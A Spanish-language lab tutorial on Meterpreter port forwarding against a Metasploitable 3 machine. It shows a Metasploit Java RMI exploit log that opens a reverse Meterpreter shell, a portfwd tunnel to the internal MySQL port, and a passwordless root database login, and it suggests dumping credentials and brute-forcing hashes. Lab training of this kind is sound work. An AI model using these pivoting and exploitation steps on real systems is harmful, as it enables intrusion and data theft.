Port forwarding: acceso a puertos locales de forma remota

port forwarding

En este tutorial de hacking de reenvío de puertos (Port Forwarding) aprenderemos cómo reenviar puertos locales a los que no se puede acceder de forma remota. Es una práctica muy común y una buena práctica ejecutar servicios específicos en una máquina local y ponerlos a disposición de esa máquina local solo en lugar de la red completa. En una red local, estos servicios suelen ser paneles de administración que se utilizan para configurar hardware o software en una sola máquina que no necesita exponer estos servicios a la red completa, al igual que no desearía exponer un servidor FTP o SMB local a la red. Internet. Un buen ejemplo de un servicio que no permite el acceso externo por defecto es el servidor MySQL. El servidor MySQL deshabilita el acceso remoto por defecto en la instalación por razones de seguridad y requiere que el administrador del sistema habilite explícitamente el acceso remoto para permitir conexiones remotas. En este tutorial, usaremos el reenvío de puertos para conectar las conexiones a los servicios a los que no se puede acceder de forma remota.

Para seguir este tutorial de reenvío de puertos, asumimos que usted ha instalado correctamente la máquina Metasploitable 3 y tiene acceso de shell. Si no, por favor siga este tutorial primero:

· Explotando el Remote Method Invocation (RMI) de Java para obtener acceso root

· Reenvío de puertos: acceso a puertos locales de forma remota

El punto de inicio de este tutorial es donde terminó el último tutorial: un shell de Meterpreter que se obtuvo a través de la explotación del RMI de Java que nos permitió obtener privilegios root en nuestra máquina vulnerbale.

msf exploit(multi/misc/java_rmi_server) > run

[*] Started reverse TCP handler on 192.168.0.5:4444 
[*] 192.168.0.8:1099 - Using URL: http://0.0.0.0:8080/LTApZDHU
[*] 192.168.0.8:1099 - Local IP: http://192.168.0.5:8080/LTApZDHU
[*] 192.168.0.8:1099 - Server started.
[*] 192.168.0.8:1099 - Sending RMI Header...
[*] 192.168.0.8:1099 - Sending RMI Call...
[*] 192.168.0.8:1099 - Replied to request for payload JAR
[*] Sending stage (53867 bytes) to 192.168.0.8
[*] Meterpreter session 1 opened (192.168.0.5:4444 -> 192.168.0.8:53838) at 2018-10-10 19:24:03 -0500
[-] 192.168.0.8:1099 - Exploit failed: RuntimeError Timeout HTTPDELAY expired and the HTTP Server didn't get a payload request
[*] 192.168.0.8:1099 - Server stopped.
[*] Exploit completed, but no session was created.
msf exploit(multi/misc/java_rmi_server) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > 

Una vez aquí, escribimos shell para obtener una shell del sistema y poder interactuar con el. Seguidamente vamos a revisar los servicios que está corriendo usando el comando netstat -a

netstat -a
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State      
tcp        0      0 *:exec                  *:*                     LISTEN     
tcp        0      0 *:login                 *:*                     LISTEN     
tcp        0      0 *:nfs                   *:*                     LISTEN     
tcp        0      0 *:shell                 *:*                     LISTEN     
tcp        0      0 *:34085                 *:*                     LISTEN     
tcp        0      0 *:8009                  *:*                     LISTEN     
tcp        0      0 *:6697                  *:*                     LISTEN     
tcp        0      0 *:mysql                 *:*                     LISTEN     
tcp        0      0 *:rmiregistry           *:*                     LISTEN     
tcp        0      0 *:ircd                  *:*                     LISTEN     
tcp        0      0 *:netbios-ssn           *:*                     LISTEN     
tcp        0      0 *:5900                  *:*                     LISTEN     
tcp        0      0 *:sunrpc                *:*                     LISTEN     
tcp        0      0 *:x11                   *:*                     LISTEN     
tcp        0      0 *:www                   *:*                     LISTEN     
tcp        0      0 *:43120                 *:*                     LISTEN     
tcp        0      0 *:8787                  *:*                     LISTEN     
tcp        0      0 *:8180                  *:*                     LISTEN     
tcp        0      0 *:ingreslock            *:*                     LISTEN     
tcp        0      0 *:51156                 *:*                     LISTEN     
tcp        0      0 *:ftp                   *:*                     LISTEN     
tcp        0      0 192.168.0.8:domain      *:*                     LISTEN     
tcp        0      0 localhost:domain        *:*                     LISTEN     
tcp        0      0 *:telnet                *:*                     LISTEN     
tcp        0      0 *:postgresql            *:*                     LISTEN     
tcp        0      0 *:smtp                  *:*                     LISTEN     
tcp        0      0 localhost:953           *:*                     LISTEN     
tcp        0      0 *:54684                 *:*                     LISTEN     
tcp        0      0 *:microsoft-ds          *:*                     LISTEN     
tcp        0      0 192.168.0.8:54141       192.168.0.8:mysql       TIME_WAIT  
tcp        0      0 192.168.0.8:53838       192.168.0.5:4444        ESTABLISHED
tcp6       0      0 [::]:frox               [::]:*                  LISTEN     
tcp6       0      0 [::]:distcc             [::]:*                  LISTEN     
tcp6       0      0 [::]:domain             [::]:*                  LISTEN     
tcp6       0      0 [::]:ssh                [::]:*                  LISTEN     
tcp6       0      0 [::]:postgresql         [::]:*                  LISTEN     
tcp6       0      0 ip6-localhost:953       [::]:*                  LISTEN     
udp        0      0 *:nfs                   *:*                                
udp        0      0 192.168.0.8:netbios-ns  *:*                                
udp        0      0 *:netbios-ns            *:*                                
udp        0      0 192.168.0.8:netbios-dgm *:*                                
udp        0      0 *:netbios-dgm           *:*                                
udp        0      0 *:42897                 *:*                                
udp        0      0 *:790                   *:*                                
udp        0      0 localhost:35871         localhost:35871         ESTABLISHED
udp        0      0 localhost:snmp          *:*                                
udp        0      0 192.168.0.8:domain      *:*                                
udp        0      0 localhost:domain        *:*                                
udp        0      0 *:bootpc                *:*                                
udp        0      0 *:tftp                  *:*                                
udp        0      0 *:59468                 *:*                                
udp        0      0 *:42069                 *:*                                
udp        0      0 *:sunrpc                *:*                                
udp        0      0 *:43638                 *:*                                
udp6       0      0 [::]:38160              [::]:*                             
udp6       0      0 [::]:domain             [::]:*                       

Como podemos ver, hay un servicio de mysql corriendo en el sistema. El único problema es que esta red actualmente no es enrutable desde nuestra máquina de ataque. Para acceder a esta red tendríamos que configurar un proxy socks4 con proxychains para reenviar todas las conexiones a esta subred. La misma técnica también nos permitiría escanear la red de destino desde la perspectiva de la máquina Metasploitable 3. Esto revelaría puertos abiertos y servicios a los que se puede acceder localmente pero no de forma remota. Un ejemplo de dicho servicio es el servicio MySQL que se ejecuta en el puerto 3306. Las exploraciones con Nmap no revelarán este puerto, ya que tiene un servidor de seguridad porque no está diseñado para ser accedido de forma remota. Cuando ejecutamos netstat en la máquina Metasploitable 3, podemos verificar que el puerto 3306 se usa en la máquina con el nombre de *:mysql

Ahora que sabemos que MySQL se está ejecutando en el puerto 3306 y no se puede acceder a él de forma remota, debemos configurar el shell de Meterpreter de manera que podamos hacer un túnel de las conexiones a través del shell. Dado que el shell Meterpreter se ejecuta localmente y puede acceder al puerto 3306, debemos reenviar un puerto local a la máquina Metasploitable 3 a través del shell Meterpreter. La forma más sencilla de hacerlo es utilizar el módulo portfwd de Meterpreter. Antes de reenviar el puerto local a Metasploitable 3, echemos un vistazo a la funcionalidad de reenvío de puertos en general, primero para obtener una mejor comprensión de lo que hace exactamente.

· Meterpreter, port forwarding

La funcionalidad portfwd en Meterpreter se puede utilizar como una técnica de giro para acceder a redes y máquinas a través de las máquinas comprometidas que de otro modo son inaccesibles. El comando portfwd retransmitirá las conexiones TCP hacia y desde las máquinas conectadas. En los siguientes pasos, haremos que el puerto 3306 del servidor mySQL esté disponible en la máquina de ataque local y reenviaremos el tráfico en este puerto a Metasploitable 3. Cuando todo esté configurado, nos conectaremos al host local en el puerto 3306 con la línea de comandos mysql. La conexión a estos puertos se reenviará a Metasploitable 3.

Podemos crear los túneles utilizando los siguientes comandos:

portfwd add -l 3306 -p 3306 -r $IP (La ip de la máquina víctima)

Vamos a explicar los parámetros que hemos utilizado en el comando:

  • -l [puerto] es el puerto local que escuchará y reenviará a nuestro objetivo. Este puede ser cualquier puerto en su máquina, siempre y cuando no esté siendo utilizado por otro servicio.
  • -p [puerto] es el puerto de destino en nuestro host de segmentación.
  • -r [host de destino] es la dirección IP o el nombre de host de nuestro sistema objetivo.

Cuando hayamos ejecutado con éxito los comandos en las sesiones de Meterpreter, el resultado que indica que ambos puertos se han reenviado debería ser el siguiente:

meterpreter > portfwd add -l 3306 -p 3306 -r 192.168.0.8
[*] Local TCP relay created: :3306 <-> 192.168.0.8:3306

Podemos verificar que el puerto local 3306 está abierto en nuestra máquina local ejecutando netstat de la siguiente manera en nuestro equipo atacante:

 ➤➤➤➤ ▶ netstat -antup |grep 3306
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
tcp        0      0 0.0.0.0:3306            0.0.0.0:*               LISTEN      -         

A continuación, podemos acceder al servicio MySQL en Metasploitable 3 haciendo que el cliente MySQL se conecte al localhost de la siguiente manera:

 ➤➤➤➤ ▶ mysql -u root -h 127.0.0.1
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MySQL connection id is 8
Server version: 5.0.51a-3ubuntu5 (Ubuntu)

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MySQL [(none)]> 

La conexión al servidor MySQL también reveló un problema de seguridad comúnmente visto; no proporcionamos una contraseña en el comando de conexión y tampoco se nos pidió que ingresáramos una. Como podemos ver en el cuadro de texto, podemos enumerar todas las bases de datos presentes en el servidor MySQL. El hecho de que solo se pueda acceder a un servicio localmente, no significa que una capa de protección de contraseña se vuelva obsoleta. Como podemos ver, las conexiones y los puertos se pueden reenviar fácilmente cuando un atacante tiene acceso de shell a la máquina.

Ahora que hemos accedido a las base de datos, podemos explorar en ellas y ver cuales contienen información de nuestra utilidad, usuarios y contraseñas. También podemos realizar ataques de fuerza bruta para descifrar los hashes que encontremos en las bases de datos.

Lea también: Ataque de fuerza bruta con BruteSpray

Síguenos en FacebookTwitterunete a nuestro chat en Discord y no olvides compartirnos en las redes sociales. También puede hacernos una donación o comprar nuestros servicios.

Acerca del autor

Especialista en Seguridad Informática bajo certificación OSCP, experto en técnicas de privacidad y seguridad en la red, desarrollador back-end, miembro de la FSF y Fundador de Security Hack Labs. Desarrollador de la distribución de hacking BlackArch Linux. Twitter: @edu4rdshl XMPP: [email protected]